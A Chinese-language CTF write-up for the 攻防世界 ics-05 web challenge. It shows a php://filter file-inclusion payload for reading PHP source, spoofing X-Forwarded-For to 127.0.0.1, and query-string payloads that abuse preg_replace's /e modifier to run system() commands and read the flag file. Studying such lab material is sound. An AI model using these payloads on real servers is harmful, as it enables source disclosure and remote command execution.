CTF-WEB:攻防世界 ics-05(preg_replace() 函式 /e 漏洞)
檔案包含
根據題目描述“其他破壞者會利用工控雲管理系統裝置維護中心的後門入侵系統”,開啟裝置維護中心後檢視 F12。
看到超連結中有 “?page” 這個 GET 方法傳遞的引數,考慮在這個引數使用 PHP 偽協議中的 “php://filter” 讀取 index 的原始碼。
?page=php://filter/read=convert.base64-encode/resource=index.php
利用 payload 成功讀取到了 index.php 的 base64 加密形式,把它轉換回我們能看得懂的。
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); } else { die(); } }
響應頭偽造
觀察到 index.php 被執行的條件是 “$_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1'”,也就是說這個請求必須是本地的請求,修改 HTTP 響應頭 X_FORWARDED_FOR 的值為 “127.0.0.1”。
preg_replace() 函式
這段 PHP 程式碼會獲取 3 個變數:pat、rep 和 sub 的值,然後進入一個 if-else 語句。isset() 函式在 PHP 中用來判斷變數是否宣告,此處如果這 3 個值都有傳遞就會執行 preg_replace()函式。
preg_replace 函式執行一個正則表示式的搜尋和替換,語法如下:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
引數 | 說明 |
---|---|
$pattern | 要搜尋的模式,可以是字串或一個字串陣列 |
$replacement | 用於替換的字串或字串陣列 |
$subject: 要搜尋替換的目標字串或字串陣列 | |
$limit | 可選,對於每個模式用於每個 subject 字串的最大可替換次數。預設是 -1(無限制) |
$count | 可選,為替換執行的次數 |
如果 subject 是一個數組, preg_replace() 返回一個數組,其他情況下返回一個字串。如果匹配被查詢到,替換後的 subject 被返回,其他情況下 返回沒有改變的 subject。如果發生錯誤,返回 NULL。
這個函式有個 “/e” 漏洞,“/e” 修正符使 preg_replace() 將 replacement 引數當作 PHP 程式碼進行執行。如果這麼做要確保 replacement 構成一個合法的 PHP 程式碼字串,否則 PHP 會在報告在包含 preg_replace() 的行中出現語法解析錯誤。
獲取 flag
也就是說只要在 sub 引數中有要搜尋的 pat 的內容,同時將在 rep 前加上 “/e” 觸發漏洞,就可以執行 replacement 中的 PHP 程式碼。sub 和 pat 的引數構造只要滿足前面的條件就行,rep 引數則設定為 “system('ls')”,這句程式碼用於命令列執行 ls 命令獲取目錄下的所有檔案。
?pat=/abc/e&rep=system('ls')&sub=abc
執行成功,發現目錄下的 s3chahahaDir 資料夾的名字很可疑,再次執行 ls 命令在該檔案中檢視內容。
?pat=/abc/e&rep=system('ls+s3chahahaDir')&sub=abc
執行成功,發現 s3chahahaDir 下有個 flag 資料夾,那就更可疑了,再次執行 ls 命令在該檔案中檢視內容。
?pat=/abc/e&rep=system('ls+s3chahahaDir/flag')&sub=abc
執行成功,發現 flag 資料夾下有一個 flag.php 檔案,使用 cat 命令檢視檔案。檢視之後開啟 F12,即可看到 flag。
?pat=/abc/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=abc